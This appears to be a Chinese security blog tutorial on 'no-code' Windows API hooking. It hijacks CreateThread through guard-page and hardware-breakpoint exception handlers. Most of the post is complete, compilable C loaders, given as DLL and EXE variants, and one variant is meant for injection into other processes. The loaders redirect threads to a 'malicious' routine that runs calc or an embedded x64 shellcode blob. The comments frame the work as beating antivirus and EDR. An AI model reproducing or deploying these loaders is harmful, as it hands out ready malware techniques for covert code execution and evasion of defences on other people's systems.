无代码Hooking

2025-11-20 193 11/20

无代码Hooking

一、保护页(Guard Pages)介绍

  • Guard Pages(保护页)是 Windows 内存页的特殊属性(PAGE_GUARD),访问时触发STATUS_GUARD_PAGE_VIOLATION异常,核心是无代码修改实现监控 /hook

关键API

// 注册异常处理函数,优先级1,确保第一位,抢在杀软前处理
AddVectoredExceptionHandler(1, &handler);
// 给CreateThread函数所在内存页加保护页属性
VirtualProtect(&CreateThread, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
// 调用CreateThread触发保护页异常,在handler中捕获并分析参数
CreateThread(0, 0, (LPTHREAD_START_ROUTINE) &Sleep, &param, 0, 0);

写完这三步,当CreateThread被调用时就会触发STATUS_GUARD_PAGE_VIOLATION异常,当然我们主要的操作区域还是在异常处理函数handler中,因为当异常触发时就会执行异常处理函数,我们只有将恶意逻辑写入异常处理函数我们的恶意逻辑就会被触发执行

if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
    // 确认异常是CreateThread触发的(通过RIP寄存器,x64下RIP是指令指针)
    if (ExceptionInfo->ContextRecord->Rip == (DWORD64) &CreateThread) {
        // 提取x64下的前4个参数(RCX/RDX/R8/R9寄存器传参)
        printf("(1): %#llx | ", ExceptionInfo->ContextRecord->Rcx);
        printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx);
        printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8);
        printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9);
        //ExceptionInfo->ContextRecord->Rip = (DWORD64) &prn;
    }
    return EXCEPTION_CONTINUE_EXECUTION; // 让程序继续执行,不崩溃
}

我们可以直接读取CreateThread的参数,更可以直接修改RIP将执行流跳转到恶意函数,全程不修改CreateThread的任何指令,且程序仍可以正常运行没有异常。

二、保护页(Guard Pages)实现

  • 保护页实现流程:注册异常处理→标记保护页→捕获异常→提取 / 篡改参数→恢复执行、

(一)执行WinExec

#include <windows.h>
#include <stdio.h>

#ifndef STATUS_GUARD_PAGE_VIOLATION
#define STATUS_GUARD_PAGE_VIOLATION ((DWORD)0x80000001L)
#endif

PVOID g_pCreateThread = NULL;

// 定义一个结构体来传递原始参数
typedef struct _ORIGINAL_CALL {
    PVOID OriginalFn;
    PVOID OriginalParam;
} ORIGINAL_CALL;

DWORD WINAPI MaliciousThread(LPVOID lpParam) {
    ORIGINAL_CALL* oc = (ORIGINAL_CALL*)lpParam;
    // 执行逻辑
    WinExec("calc.exe", SW_SHOWNORMAL); 
    // 执行原本 Notepad 的逻辑
    if (oc && oc->OriginalFn) {
        ((LPTHREAD_START_ROUTINE)oc->OriginalFn)(oc->OriginalParam);
    }
    // 清理内存
    free(oc);
    return 0;
}

LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        DWORD old = 0;
        VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ, &old);

        if (ExceptionInfo->ContextRecord->Rip == (DWORD64)g_pCreateThread) {
            ORIGINAL_CALL* oc = (ORIGINAL_CALL*)malloc(sizeof(ORIGINAL_CALL));
            oc->OriginalFn = (PVOID)ExceptionInfo->ContextRecord->R8;
            oc->OriginalParam = (PVOID)ExceptionInfo->ContextRecord->R9;

            ExceptionInfo->ContextRecord->R8 = (DWORD64)MaliciousThread; 
            ExceptionInfo->ContextRecord->R9 = (DWORD64)oc; 
            OutputDebugStringA("[+] Hooked and redirected successfully!");
        }
        ExceptionInfo->ContextRecord->EFlags |= 0x100; 
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
        DWORD old = 0;
        VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        g_pCreateThread = (PVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateThread");
        if (g_pCreateThread) {
            AddVectoredExceptionHandler(1, &handler);
            DWORD old = 0;
            VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
        }
    }
    return TRUE;
}
gcc -shared -o apihk.dll apihk.c -lkernel32 -luser32 -m64

恶意逻辑不仅可以篡改为执行恶意函数,还可以窃取CreateThread的核心参数,注入ShellCode,禁止指定进程创建等等

无代码Hooking

(二)注入ShellCode

#include <windows.h>
#include <stdio.h>

#ifndef STATUS_GUARD_PAGE_VIOLATION
#define STATUS_GUARD_PAGE_VIOLATION ((DWORD)0x80000001L)
#endif

// 全局变量
PVOID g_pCreateThread = NULL;

//  x64 Shellcode 
unsigned char shellcode[] = 
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x43\x3c\x4c\x01\xc0\x8b\x90\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe6\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd6\x48\x83\xc4\x30\x49\x89\xc6\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x89\xc7\x48\x89\xf9\xb8\x6f\x78\x41\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x65\x73\x73\x61\x67\x65\x42\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7\x48\x31\xc9\xb8\x73\x90\x90\x90\xc1\xe0\x18\xc1\xe8\x18\x50\x48\xb8\x6f\x6e\x65\x62\x6c\x61\x6e\x6b\x50\x48\x89\xe2\x49\x89\xe0\x45\x31\xc9\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x31\xc9\x41\xff\xd6";

typedef struct _ORIGINAL_CALL {
    PVOID OriginalFn;
    PVOID OriginalParam;
} ORIGINAL_CALL;

DWORD WINAPI MaliciousThread(LPVOID lpParam) {
    ORIGINAL_CALL* oc = (ORIGINAL_CALL*)lpParam;

    // 1. 申请内存并执行 Shellcode
    // 使用 PAGE_EXECUTE_READWRITE 虽然方便,但容易被 EDR 扫描,实际建议先 RW 再转 RX
    LPVOID sc_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (sc_mem) {
        memcpy(sc_mem, shellcode, sizeof(shellcode));
        
        // 定义函数指针并执行 Shellcode
        void (*func)() = (void (*)())sc_mem;
        func(); 

    }

    // 执行原本 Notepad 的逻辑
    if (oc && oc->OriginalFn) {
        OutputDebugStringA("[+] Executing original thread function...");
        ((LPTHREAD_START_ROUTINE)oc->OriginalFn)(oc->OriginalParam);
    }

    if (oc) free(oc);
    return 0;
}

LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {
    // 处理 PAGE_GUARD 异常
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        DWORD old = 0;
        VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ, &old);

        if (ExceptionInfo->ContextRecord->Rip == (DWORD64)g_pCreateThread) {
            ORIGINAL_CALL* oc = (ORIGINAL_CALL*)malloc(sizeof(ORIGINAL_CALL));
            if (oc) {
                oc->OriginalFn = (PVOID)ExceptionInfo->ContextRecord->R8;
                oc->OriginalParam = (PVOID)ExceptionInfo->ContextRecord->R9;

                ExceptionInfo->ContextRecord->R8 = (DWORD64)MaliciousThread; 
                ExceptionInfo->ContextRecord->R9 = (DWORD64)oc; 
                
                OutputDebugStringA("[+] VEH Hook: Redirecting CreateThread to Shellcode Loader...");
            }
        }
        
        ExceptionInfo->ContextRecord->EFlags |= 0x100; 
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
        DWORD old = 0;
        VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        g_pCreateThread = (PVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateThread");
        if (g_pCreateThread) {
            AddVectoredExceptionHandler(1, &handler);
            DWORD old = 0;
            VirtualProtect(g_pCreateThread, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
        }
    }
    return TRUE;
}
gcc -shared -o apihkpro.dll apihkpro.c -lkernel32 -luser32 -m64

注意

这里的ShellCode需要用执行后不结束进程的ShellCode程序,否则NotePad会直接崩溃退出。

无代码Hooking

我这里的ShellCode就是之前写的弹窗的ShellCode,点击后notepad就会自动退出。

三、硬件断点(HWBP)介绍与实现

  • 硬件断点(HWBP)依托 CPU 调试寄存器(DR0-DR7)实现监控,属于硬件级无代码 Hook

  • 核心寄存器分工:DR0-DR3 存储断点地址(最多 4 个)、DR7 控制断点触发规则(执行 / 读 / 写),触发后产生EXCEPTION_SINGLE_STEP(单步执行)异常

  • 核心 API:GetThreadContext/SetThreadContext(读写调试寄存器)、AddVectoredExceptionHandler(捕获断点异常)

与保护页实现类似都是利用创建异常来执行我们的异常处理函数(包含我们的恶意逻辑)

第一步同样要注册异常处理函数 然后用SetThreadContext设置DR0=目标函数地址、DR7启用断点

最后就可以调用目标函数触发EXCEPTION_SINGLE_STEP异常,然后执行恢复

(一)直接执行 EXE 版

#include <windows.h>
#include <stdio.h>

typedef struct _ORIGINAL_CALL {
    PVOID OriginalFn;
    PVOID OriginalParam;
} ORIGINAL_CALL, *PORIGINAL_CALL;

// x64 Shellcode 
unsigned char shellcode[] = 
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x43\x3c\x4c\x01\xc0\x8b\x90\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe6\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd6\x48\x83\xc4\x30\x49\x89\xc6\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x89\xc7\x48\x89\xf9\xb8\x6f\x78\x41\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x65\x73\x73\x61\x67\x65\x42\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7\x48\x31\xc9\xb8\x73\x90\x90\x90\xc1\xe0\x18\xc1\xe8\x18\x50\x48\xb8\x6f\x6e\x65\x62\x6c\x61\x6e\x6b\x50\x48\x89\xe2\x49\x89\xe0\x45\x31\xc9\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x31\xc9\x41\xff\xd6";

PVOID g_pCreateThread = NULL;

// 设置硬件断点
BOOL SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP) {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(thrd, &ctx)) return FALSE;
    
    if (setBP) {
        ctx.Dr0 = addr;
        ctx.Dr7 |= (1 << 0);        // 启用 DR0 本地断点
        ctx.Dr7 &= ~(1 << 16);      // 00: 执行触发
        ctx.Dr7 &= ~(1 << 17);
    } else {
        ctx.Dr0 = 0;
        ctx.Dr7 &= ~(1 << 0);       // 禁用 DR0
    }

    return SetThreadContext(thrd, &ctx);
}

// 恶意中转线程
DWORD WINAPI MaliciousThread(LPVOID lpParam) {
    PORIGINAL_CALL oc = (PORIGINAL_CALL)lpParam;

    // 1. 执行 Shellcode
    LPVOID sc_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (sc_mem) {
        memcpy(sc_mem, shellcode, sizeof(shellcode));
        ((void (*)())sc_mem)(); 
    }

    // 2. 恢复原始逻辑
    if (oc && oc->OriginalFn) {
        printf("[+] HWBP: Executing original thread function...\n");
        ((LPTHREAD_START_ROUTINE)oc->OriginalFn)(oc->OriginalParam);
    }

    if (oc) free(oc);
    return 0;
}

// 异常处理器
LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // 检查是否是我们的 Dr0 断点触发
        if (ExceptionInfo->ContextRecord->Rip == (DWORD64)g_pCreateThread) {
            
            PORIGINAL_CALL oc = (PORIGINAL_CALL)malloc(sizeof(ORIGINAL_CALL));
            if (oc) {
                oc->OriginalFn = (PVOID)ExceptionInfo->ContextRecord->R8;
                oc->OriginalParam = (PVOID)ExceptionInfo->ContextRecord->R9;
                
                // 篡改参数
                ExceptionInfo->ContextRecord->R8 = (DWORD64)MaliciousThread;
                ExceptionInfo->ContextRecord->R9 = (DWORD64)oc;
                
                printf("[!] HWBP Triggered! Redirecting CreateThread...\n");
            }
            
            // 设置 EFlags 中的 Resume Flag (RF),防止在同一条指令上无限触发断点
            ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    g_pCreateThread = (PVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateThread");
    if (!g_pCreateThread) return -1;

    AddVectoredExceptionHandler(1, &handler);
    
    // 给当前线程设置硬件断点
    if (!SetHWBP(GetCurrentThread(), (DWORD64)g_pCreateThread, TRUE)) {
        printf("[-] Failed to set HWBP\n");
        return -1;
    }
    
    printf("[+] HWBP set on CreateThread at %p\n", g_pCreateThread);
    printf("[+] Triggering CreateThread in 2 seconds...\n");
    Sleep(2000);

    // 触发测试
    DWORD tid;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, (LPVOID)1000, 0, &tid);
    
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    SetHWBP(GetCurrentThread(), (DWORD64)g_pCreateThread, FALSE);
    printf("[+] Done. Press Enter to exit.\n");
    getchar();
    
    return 0;
}
gcc hwbphk.c -o hwbphk.exe -lkernel32 -m64

无代码Hooking

(二)跨进程注入 DLL 版

我们还可以修改代码,令其可以跨进程注入

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// 定义结构体存储原始调用信息
typedef struct _ORIGINAL_CALL {
    PVOID OriginalFn;
    PVOID OriginalParam;
} ORIGINAL_CALL, *PORIGINAL_CALL;

// x64 Shellcode
unsigned char shellcode[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x43\x3c\x4c\x01\xc0\x8b\x90\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe6\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd6\x48\x83\xc4\x30\x49\x89\xc6\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x89\xc7\x48\x89\xf9\xb8\x6f\x78\x41\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x65\x73\x73\x61\x67\x65\x42\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7\x48\x31\xc9\xb8\x73\x90\x90\x90\xc1\xe0\x18\xc1\xe8\x18\x50\x48\xb8\x6f\x6e\x65\x62\x6c\x61\x6e\x6b\x50\x48\x89\xe2\x49\x89\xe0\x45\x31\xc9\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x31\xc9\x41\xff\xd6";

PVOID g_pCreateThread = NULL;

// 设置硬件断点函数
BOOL SetHWBP(HANDLE hThread, DWORD64 addr, BOOL setBP) {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    if (!GetThreadContext(hThread, &ctx)) return FALSE;

    if (setBP) {
        ctx.Dr0 = addr;
        ctx.Dr7 |= (1 << 0);
        ctx.Dr7 &= ~(1 << 16);
        ctx.Dr7 &= ~(1 << 17);
    } else {
        ctx.Dr0 = 0;
        ctx.Dr7 &= ~(1 << 0);
    }
    return SetThreadContext(hThread, &ctx);
}

// 遍历进程所有线程并设置断点
void SetHWBPForAllThreads(BOOL set) {
    DWORD dwOwnerPID = GetCurrentProcessId();
    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnap == INVALID_HANDLE_VALUE) return;

    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hThreadSnap, &te32)) {
        do {
            if (te32.th32OwnerProcessID == dwOwnerPID) {
                // 跳过当前注入线程
                HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
                if (hThread) {
                    SetHWBP(hThread, (DWORD64)g_pCreateThread, set);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hThreadSnap, &te32));
    }
    CloseHandle(hThreadSnap);
}

// 恶意中转逻辑
DWORD WINAPI MaliciousThread(LPVOID lpParam) {
    PORIGINAL_CALL oc = (PORIGINAL_CALL)lpParam;
    LPVOID sc_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (sc_mem) {
        memcpy(sc_mem, shellcode, sizeof(shellcode));
        ((void (*)())sc_mem)();
    }
    if (oc && oc->OriginalFn) {
        ((LPTHREAD_START_ROUTINE)oc->OriginalFn)(oc->OriginalParam);
    }
    if (oc) free(oc);
    return 0;
}

// VEH 异常处理
LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        if (ExceptionInfo->ContextRecord->Rip == (DWORD64)g_pCreateThread) {
            PORIGINAL_CALL oc = (PORIGINAL_CALL)malloc(sizeof(ORIGINAL_CALL));
            if (oc) {
                oc->OriginalFn = (PVOID)ExceptionInfo->ContextRecord->R8;
                oc->OriginalParam = (PVOID)ExceptionInfo->ContextRecord->R9;
                ExceptionInfo->ContextRecord->R8 = (DWORD64)MaliciousThread;
                ExceptionInfo->ContextRecord->R9 = (DWORD64)oc;
                OutputDebugStringA("[!] HWBP Hook Triggered in Remote Process!");
            }
            ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF 位
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// DLL 入口
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
        g_pCreateThread = (PVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateThread");
        if (g_pCreateThread) {
            AddVectoredExceptionHandler(1, &handler);
            SetHWBPForAllThreads(TRUE);
            OutputDebugStringA("[+] HWBP DLL Injected and Hooks Set.");
        }
        break;
    case DLL_PROCESS_DETACH:
        SetHWBPForAllThreads(FALSE);
        break;
    }
    return TRUE;
}
gcc -shared -o hwbphk.dll hwbphkdll.c -lkernel32 -m64

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论